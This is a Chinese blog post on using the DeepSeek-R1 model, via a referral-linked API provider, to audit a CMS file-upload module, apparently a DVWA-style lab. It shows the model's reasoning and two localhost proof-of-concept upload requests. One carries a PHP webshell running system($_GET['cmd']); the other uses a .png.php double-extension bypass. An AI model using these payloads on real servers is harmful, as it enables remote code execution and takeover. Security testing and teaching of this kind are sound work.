當(dāng)前,AI大模型領(lǐng)域最受矚目的非DeepSeek莫屬,該大模型在數(shù)學(xué)、代碼、自然語言推理等任務(wù)上性能對(duì)標(biāo) OpenAI o1 正式版。該模型已迅速被各大集團(tuán)公司、國家超級(jí)計(jì)算機(jī)平臺(tái)、部分地方政府部門以及AI同行廣泛接入,顯著提升了各領(lǐng)域的工作效率。為了進(jìn)一步提高模型輸出答案的準(zhǔn)確性,DeepSeek推出了創(chuàng)新的DeepSeek-R1推理模型。該模型在生成最終回答前,會(huì)先輸出一段詳細(xì)的思維鏈內(nèi)容,這一獨(dú)特設(shè)計(jì)使其在GitHub開源平臺(tái)上迅速吸引了77.2k(這個(gè)數(shù)值每天都在迅速增加中)的關(guān)注者,成為業(yè)界焦點(diǎn)。
在軟件測試行業(yè),我們也積極跟進(jìn)技術(shù)前沿,各大軟件質(zhì)量團(tuán)隊(duì)紛紛引入DeepSeek,以提升軟件產(chǎn)品的質(zhì)量。借助DeepSeek-R1模型的“深度思考”和“準(zhǔn)確推理”等顯著優(yōu)勢,我們能夠更加精準(zhǔn)地定位軟件或源代碼中那些隱蔽且難以察覺的軟件缺陷(Bug)。以我們近期測試的一套CMS系統(tǒng)為例,通過運(yùn)用DeepSeek大模型對(duì)其源代碼進(jìn)行深入的安全漏洞檢測(代碼審計(jì)),我們不僅成功識(shí)別出了潛在的安全漏洞,還順利獲取了該CMS系統(tǒng)的控制權(quán),充分展示了DeepSeek在軟件測試領(lǐng)域的強(qiáng)大能力。
由于DeepSeek訪問量較大,推理模型回復(fù)時(shí)經(jīng)常出現(xiàn)“服務(wù)器繁忙,請(qǐng)稍后再試”的問題,穩(wěn)定性較差。我們使用了派歐算力云提供的DeepSeek的API接口,滿足本次代碼審計(jì)的穩(wěn)定要求。不過其他第三方的API可以考慮阿里云、騰訊云、硅基流動(dòng)、字節(jié)火山等。
注冊(cè)并登陸派歐算力云獲取api key,使用以下URL注冊(cè)雙方各得¥50元代金劵。
https://ppinfra.com/user/register?invited_by=11QX33
基礎(chǔ)環(huán)境安裝
Python版本:Pyrhon3.8.8
安裝openai:pip3 install 'openai>=1.0.0'
DeepSeek代碼審計(jì)腳本:關(guān)注公眾號(hào)(軟件測評(píng)實(shí)驗(yàn)室),或通過官網(wǎng):http://www.yauy.cn 掃描首頁右下角的二維碼或者公眾號(hào),公眾號(hào)回復(fù) "DeepSeek代碼審計(jì)" 獲取項(xiàng)目完整代碼下載地址,再次感謝Mr.Robot同學(xué)的技術(shù)分享。
配置API Key和模型
main.py中配置api 接口以及 api key 信息,在派歐算力云平臺(tái)https://ppinfra.com/settings/key-management創(chuàng)建API Key
api_client.py中調(diào)用模型的model和role,model也可以使用deepseek/deepseek-r1/community
配置DeepSeek模型問答信息
audit_logic.py中配置需要大模型要做的需求信息,根據(jù)需要自行修改。
配置要掃描的代碼文件格式
file_processor.py中可以根據(jù)實(shí)際情況設(shè)置掃描的文件后綴,以及跳過掃描的目錄。
DeepSeek代碼審計(jì)實(shí)戰(zhàn)
DeepSeek代碼審計(jì)深度思考信息
好的,我現(xiàn)在需要分析這個(gè)上傳漏洞的代碼,找出可能存在的高危漏洞。首先,看到這個(gè)index.php文件,它根據(jù)cookie中的security級(jí)別來包含不同的處理文件,比如low.php、medium.php、high.php或者impossible.php。這說明不同安全級(jí)別下,上傳的處理邏輯可能不同,可能存在不同的漏洞。 首先,我需要考慮當(dāng)security級(jí)別為low時(shí)的情況。通常,在低安全級(jí)別下,可能沒有足夠的文件類型檢查,導(dǎo)致可以上傳任意文件,比如PHP腳本,從而執(zhí)行惡意代碼。查看low.php的代碼可能會(huì)有簡單的檢查,比如只檢查Content-Type或者文件擴(kuò)展名,但這些都可以被繞過。 假設(shè)在low.php中,服務(wù)器僅檢查上傳文件的MIME類型是否為image/jpeg或image/png,或者只檢查文件擴(kuò)展名是否為圖片格式。這時(shí)候,攻擊者可以修改文件擴(kuò)展名,或者在請(qǐng)求中偽造Content-Type,上傳一個(gè)含有惡意代碼的PHP文件。例如,將shell.php的文件名改為shell.jpg.php,或者直接上傳.php文件并設(shè)置Content-Type為image/jpeg,從而繞過檢查。 接下來,驗(yàn)證這個(gè)漏洞是否存在。構(gòu)造一個(gè)HTTP請(qǐng)求,上傳一個(gè)PHP文件,比如: <?php echo system($_GET['cmd']); ?> 然后,在請(qǐng)求中設(shè)置正確的Content-Type,比如image/jpeg,并觀察服務(wù)器是否接受該文件。如果上傳成功,并且返回了文件路徑,訪問該路徑即可執(zhí)行任意命令,證明存在高危漏洞。 另外,在medium或high安全級(jí)別下,可能有更嚴(yán)格的檢查,比如檢查文件頭或者使用getimagesize()函數(shù),但需要具體看對(duì)應(yīng)的處理代碼。不過根據(jù)當(dāng)前提供的index.php代碼,無法直接看到這些處理邏輯,所以需要假設(shè)在低安全級(jí)別下存在漏洞。 總結(jié),高危漏洞可能存在于低安全級(jí)別的文件上傳處理中,允許上傳惡意PHP文件導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
發(fā)現(xiàn)“不安全的文件上傳導(dǎo)致遠(yuǎn)程代碼執(zhí)行”漏洞
發(fā)現(xiàn)“不安全的文件上傳導(dǎo)致遠(yuǎn)程代碼執(zhí)行”漏洞,風(fēng)險(xiǎn)等級(jí):高危,同時(shí)DeepSeek按照我的要求給出了驗(yàn)證POC,按照操作代碼拿到用戶權(quán)限。
### [不安全的文件上傳導(dǎo)致遠(yuǎn)程代碼執(zhí)行] - 風(fēng)險(xiǎn)等級(jí):高危 - 位置:/codeaudit/xxx/xxx/upload/source/low.php(假設(shè)低安全級(jí)別未做有效過濾) - 描述:當(dāng)安全級(jí)別設(shè)置為low時(shí),服務(wù)端未對(duì)上傳文件進(jìn)行有效類型校驗(yàn),允許上傳.php等可執(zhí)行文件,攻擊者可上傳webshell獲取服務(wù)器控制權(quán) - 驗(yàn)證POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryABC123-- 成功上傳后訪問:`http://localhost/xxxx/hackable/uploads/shell.php?cmd=id`,將執(zhí)行系統(tǒng)命令返回當(dāng)前用戶權(quán)限信息
發(fā)現(xiàn)“文件類型校驗(yàn)繞過”漏洞
發(fā)現(xiàn)“文件類型校驗(yàn)繞過”,風(fēng)險(xiǎn)等級(jí):高危,同時(shí)DeepSeek按照我的要求給出了驗(yàn)證POC,通過雙擴(kuò)展名.png.php繞過基礎(chǔ)過濾,上傳成功后訪問.php文件將觸發(fā)phpinfo信息泄露。
### [文件類型校驗(yàn)繞過] - 風(fēng)險(xiǎn)等級(jí):高危 - 位置:同上 - 描述:服務(wù)端僅檢查Content-Type頭或簡單擴(kuò)展名過濾,可通過修改請(qǐng)求包偽造合法類型上傳惡意文件 - 驗(yàn)證POC: POST /xxx/xxx/upload/ HTTP/1.1 Host: localhost Cookie: security=low; PHPSESSID=your_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="uploaded"; filename="image.png.php" Content-Type: image/png <?php phpinfo(); ?> ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="Upload" Upload ------WebKitFormBoundaryXYZ789-- 通過雙擴(kuò)展名.png.php繞過基礎(chǔ)過濾,上傳成功后訪問.php文件將觸發(fā)phpinfo信息泄露
代碼審計(jì)完成
審計(jì)完成后,會(huì)在當(dāng)前目錄下自動(dòng)生成MarkDown結(jié)果文件security_audit_report.md,為了更好的閱讀體驗(yàn)建議使用Typora工具打開。
審計(jì)完成!報(bào)告已保存至:security_audit_report.md
本次代碼審計(jì)工作中,我們采用了DeepSeek推理模型,顯著提升了軟件測試結(jié)果的準(zhǔn)確性,進(jìn)一步驗(yàn)證了AI大模型的強(qiáng)大能力。該模型不僅大幅提高了測試工作的效率和精準(zhǔn)度,還有效彌補(bǔ)了軟件測試工程師在某些方面的不足,從而全面提升了軟件測試的覆蓋率。